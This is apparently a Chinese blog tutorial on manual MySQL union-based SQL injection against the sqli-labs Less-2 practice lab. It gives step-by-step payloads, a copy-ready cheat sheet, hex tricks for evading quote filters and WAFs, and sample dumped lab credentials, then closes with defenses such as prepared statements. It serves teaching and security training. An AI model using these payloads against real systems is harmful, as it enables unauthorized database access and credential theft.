一、先搞懂:什么是 MySQL 手工注入?(大白话版)
你可以把 MySQL 手工注入理解成:手动给数据库 "开后门",一步步骗数据库把敏感数据吐出来 。正常情况下,Web 应用会把用户输入(比如 URL 里的id=1)拼接到 SQL 语句里,发给数据库查数据。如果后端没做任何过滤,我们就可以手动在输入里加恶意 SQL 语句,一步步:
- 确认有没有漏洞(能不能注入)
- 搞清楚数据库的表结构(有多少列、有什么表、有什么字段)
- 把目标表(比如存账号密码的
users表)里的所有数据全拖出来
手工注入是 SQL 注入的基础,也是渗透测试的核心技能,所有自动化工具(比如 SQLMap)的原理都是基于手工注入的流程,所以必须吃透!
二、手工注入标准 5 步流程:大白话 + 专业操作 + 注入语句
步骤 1:判断是否存在注入点(最基础的第一步)
🗣️ 大白话解释
我们要先确认:这个输入点(比如 URL 的id参数)能不能被我们控制,能不能让数据库执行我们加的 SQL 语句。核心逻辑:构造「真条件」和「假条件」,看页面返回结果会不会变。
- 真条件:
and 1=1(永远成立,数据库会正常返回数据) - 假条件:
and 1=2(永远不成立,数据库不会返回数据)如果页面结果随条件变化,说明存在注入;如果页面没变化,说明后端做了过滤,没有注入点。另外一个简单方法:随便输入一个非法内容(比如把id=1改成id=da),如果页面报 MySQL 错误,说明存在注入(因为我们的输入被拼到 SQL 里执行了);如果页面正常显示,说明没有注入。
✅ 专业操作 & 注入语句
以 sqli-labs Less-2 为例,URL 格式:http://localhost/sqli-labs/Less-2/index.php?id=xxx
- 正常访问( baseline ) :
id=1,页面正常返回用户Dumb的信息 - 真条件测试 :
id=1 and 1=1(URL 编码后:id=1%20and%201=1),页面和正常访问一致,说明条件生效 - 假条件测试 :
id=1 and 1=2(URL 编码后:id=1%20and%201=2),页面无数据返回,说明条件生效 - 非法输入测试 :
id=da,页面报 MySQL 语法错误,确认存在注入点
💡 关键说明
%20是 URL 编码里的空格 ,因为 URL 里不能直接打空格,所以所有注入语句里的空格都要用%20代替(也可以用+代替)- 数字型注入不需要闭合单引号,字符型需要先闭合单引号,核心判断方法:加单引号看会不会报错
步骤 2:猜解表的列数(order by 排序法)
🗣️ 大白话解释
接下来我们要用union联合查询来 "加塞" 查询数据,但union有个硬性要求:前后两个查询的字段数量必须完全一致 。所以我们必须先搞清楚:当前查询的表有多少列?用order by排序法:order by 数字n代表「按第 n 列排序」,如果 n 超过了表的总列数,MySQL 会直接报错;如果 n≤总列数,页面正常执行。我们从 1 开始试,直到报错,就能知道表有多少列。
✅ 专业操作 & 注入语句
还是以 Less-2 为例:
id=1 order by 1(id=1%20order%20by%201):页面正常,说明第 1 列存在id=1 order by 2(id=1%20order%20by%202):页面正常,说明第 2 列存在id=1 order by 3(id=1%20order%20by%203):页面正常,说明第 3 列存在id=1 order by 4(id=1%20order%20by%204):页面报错Unknown column '4' in 'order clause',说明表只有3 列 (图中写的「字段 4 个」是其他靶场的情况,核心方法通用)
💡 关键说明
- 这一步是后续
union查询的基础,必须准确,否则union会直接报错 - 数字从 1 递增,直到页面报错,报错的数字 - 1 就是表的总列数
步骤 3:判断回显位(union 联合查询)
🗣️ 大白话解释
我们用union把我们的恶意查询拼到原查询后面,但页面只会显示部分数据,所以我们要先搞清楚:页面会显示哪几列的数据?(也就是回显位) 我们用union select 1,2,3(数字的个数等于总列数),把 1、2、3 当成占位符,看哪个数字会显示在页面上,显示的位置就是我们后续可以用来显示敏感数据的回显位。同时我们用id=-1,让原查询查不到任何数据,这样页面就只会显示union后面的查询结果,方便我们看回显位。
✅ 专业操作 & 注入语句
Less-2 总列数是 3,所以构造语句:id=-1 union select 1,2,3(URL 编码:id=-1%20union%20select%201,2,3)页面返回:
Your Login name:2
Your Password:3
说明:
- 第 2 列是回显位(对应
username字段的位置) - 第 3 列是回显位(对应
password字段的位置) - 第 1 列没有回显,不用管

💡 关键说明
id=-1的作用:让原查询SELECT * FROM users WHERE id=-1查不到数据,这样页面只会显示union后面的结果,不会被原数据干扰- 回显位的数量和位置由页面决定,有的页面只显示 1 个回显位,有的显示多个,核心是找到能显示数据的位置
步骤 4:信息收集(查数据库版本、库名)
🗣️ 大白话解释
现在我们有了回显位,就可以开始收集数据库的核心信息了:
- 数据库版本:确认是不是 MySQL 5.0 以上(5.0 以上才有
information_schema系统库,才能脱库) - 当前数据库名:知道我们要攻击的业务库叫什么名字
✅ 专业操作 & 注入语句
用 MySQL 内置函数:
-
version():查询数据库版本 -
database():查询当前数据库名构造语句(对应回显位 2 和 3):id=-1 union select 1,version(),database()(URL 编码:id=-1%20union%20select%201,version(),database())页面返回:Your Login name:5.7.26
Your Password:security
说明:
- 数据库版本:
5.7.26(高版本,支持information_schema) - 当前数据库名:
security(我们的目标业务库) 
💡 关键说明
- MySQL 5.0 以下没有
information_schema,无法用这种方法脱库,只能暴力猜表名 information_schema是 MySQL 的系统库,相当于数据库的「总目录」,存了所有库、表、字段的信息,是注入的核心神器
步骤 5:脱库全流程(查表名→查字段→取敏感数据)
这是注入的最终目标:把目标库的所有敏感数据(比如账号密码)全拖出来,分 3 小步,完全对应你提供的注入语句:
子步骤 1:查询当前库的所有表名
🗣️ 大白话解释
我们要知道security库里有哪些表,核心目标是users表(存账号密码),用information_schema.tables系统表,它存了所有数据库的所有表名。用group_concat()函数把多个表名拼接成一个字符串,一次性显示在回显位上,不用一个个查。
✅ 专业操作 & 注入语句
核心语句:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
URL 编码后:id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()页面返回:Your Login name:emails,referers,uagents,users说明security库有 4 张表,核心目标是users表。
💡 关键说明
table_schema=database():限定只查当前数据库的表,不用手动写库名,更通用group_concat():把多行结果拼接成一行,解决页面只能显示一行数据的问题- 也可以手动写库名:
where table_schema='security',注意单引号,URL 编码要转义
子步骤 2:查询users表的所有字段名
🗣️ 大白话解释
知道了表名,我们要知道users表里有哪些字段(比如username、password),用information_schema.columns系统表,它存了所有表的所有字段名。这里可以用16 进制绕过单引号 :把users转成 16 进制0x7573657273,避免单引号被过滤,更隐蔽,完全对应你提供的写法。
✅ 专业操作 & 注入语句
核心语句(两种写法):
-
直接写表名(带单引号):
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
-
16 进制绕过单引号(推荐,防过滤):
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
URL 编码后(以 16 进制为例):id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273页面返回:Your Login name:id,username,password说明users表有 3 个字段:id、username、password,就是我们要的账号密码字段。

💡 关键说明
- 16 进制转换:
users的 ASCII 码转 16 进制就是0x7573657273,可以用在线工具转换,注入时直接用,不用单引号,避免被 WAF 拦截 group_concat()同样用来拼接所有字段名,一次性显示
子步骤 3:获取users表的所有账号密码(最终脱库)
🗣️ 大白话解释
现在我们知道了表名、字段名,直接查询username和password字段,把所有用户的账号密码全拖出来!用0x3a(冒号的 16 进制)来分隔账号和密码,让结果更易读,用group_concat()把所有数据拼接成一行,完全对应你提供的写法。
✅ 专业操作 & 注入语句
核心语句:
union select 1,2,(select group_concat(username,0x3a,password) from users)
URL 编码后:id=-1%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)页面返回:Your Password:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo成功脱库!拿到了users表中所有用户的账号密码,注入完成!

💡 关键说明
0x3a是冒号:的 16 进制,用来分隔username和password,让结果更清晰,也可以用0x2c(逗号)- 子查询
(select ... from users):把查询结果作为一个值,放到回显位 3,完美适配页面的显示逻辑 - 如果页面只能显示有限长度,可以用
limit分批查询,比如limit 0,1、limit 1,1,一个个拿数据
三、MySQL 手工注入核心语句速查表(直接复制用)
把所有核心语句整理成表,方便实操的时候直接复制,不用再翻:
| 步骤 | 核心 SQL 语句 | 作用 | URL 编码示例(Less-2) |
|---|---|---|---|
| 1. 判断注入点 | id=1 and 1=1 / id=1 and 1=2 |
构造真假条件,判断是否存在注入 | id=1%20and%201=1 |
| 2. 猜列数 | id=1 order by n |
按第 n 列排序,猜表的总列数 | id=1%20order%20by%203 |
| 3. 找回显位 | id=-1 union select 1,2,3 |
用占位符找页面的回显位 | id=-1%20union%20select%201,2,3 |
| 4. 查版本 / 库名 | id=-1 union select 1,version(),database() |
获取数据库版本、当前库名 | id=-1%20union%20select%201,version(),database() |
| 5. 查表名 | union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() |
查询当前库的所有表名 | id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database() |
| 5. 查字段名 | union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 |
查询 users 表的所有字段名 | id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273 |
| 5. 脱库取数 | union select 1,2,(select group_concat(username,0x3a,password)from users) |
获取 users 表的所有账号密码 | id=-1%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users) |
四、原理深度复盘 + 防御方案
1. 注入原理深度总结
SQL 注入的本质只有一句话:Web 应用未对用户输入做严格过滤 / 校验,直接将用户输入拼接到 SQL 语句中,导致攻击者可以控制 SQL 语句的逻辑,执行非授权操作。
- 数字型注入:SQL 语句中
id=$id无单引号,直接拼接,无需闭合 - 字符型注入:SQL 语句中
id='$id'有单引号,需要先闭合单引号('),再注入 - 核心依赖:
information_schema系统库(MySQL 5.0+),让我们可以枚举所有库、表、字段,实现脱库
2. 企业级防御方案(面试 / 笔试必背)
-
参数化查询(预编译 SQL) :最根本的防御方式,用 PDO/MySQLi 预处理语句,把 SQL 语句和参数分离,从根源上避免 SQL 拼接,杜绝注入。示例(PHP PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?"); $stmt->execute([$id]); // 参数自动转义,无注入风险 -
严格输入过滤 :对用户输入做严格校验,只允许合法字符(比如数字型参数只允许 0-9),过滤特殊字符(
'、"、union、select等) -
最小权限原则 :Web 应用连接数据库的账号,只给必要的权限(比如只给
SELECT权限),绝对不给 root / 管理员权限,即使被注入也无法造成严重危害 -
隐藏错误信息:不要将 MySQL 详细报错返回给前端,避免攻击者通过报错获取表结构、注入点信息
-
部署 WAF:用 Web 应用防火墙(比如阿里云 WAF、开源 WAF)拦截恶意 SQL 请求,过滤注入特征
-
定期代码审计:对 Web 应用的代码进行审计,挖掘潜在的 SQL 注入漏洞,从源头修复
五、学习复盘
这次手工注入的全流程实操,让我彻底吃透了 SQL 注入的底层逻辑:
- 手工注入的核心是流程化操作:每一步都有明确的目的,从判断注入→猜列数→找回显→信息收集→脱库,环环相扣,缺一不可
information_schema是注入的「地图」,没有它就无法枚举数据库结构,也就无法脱库- 所有自动化注入工具(比如 SQLMap)的原理,都是基于这套手工注入的流程,吃透手工注入,才能真正理解工具的原理,遇到绕过 WAF 等复杂场景才能手动解决
- 防御的核心是参数化查询,其他过滤、WAF 都是辅助,只有从代码层面杜绝 SQL 拼接,才能真正防住注入
这篇博客把手工注入的每一步都讲透了,新手可以跟着 sqli-labs 靶场一步步实操,老手可以用来复盘原理,希望能帮到大家!

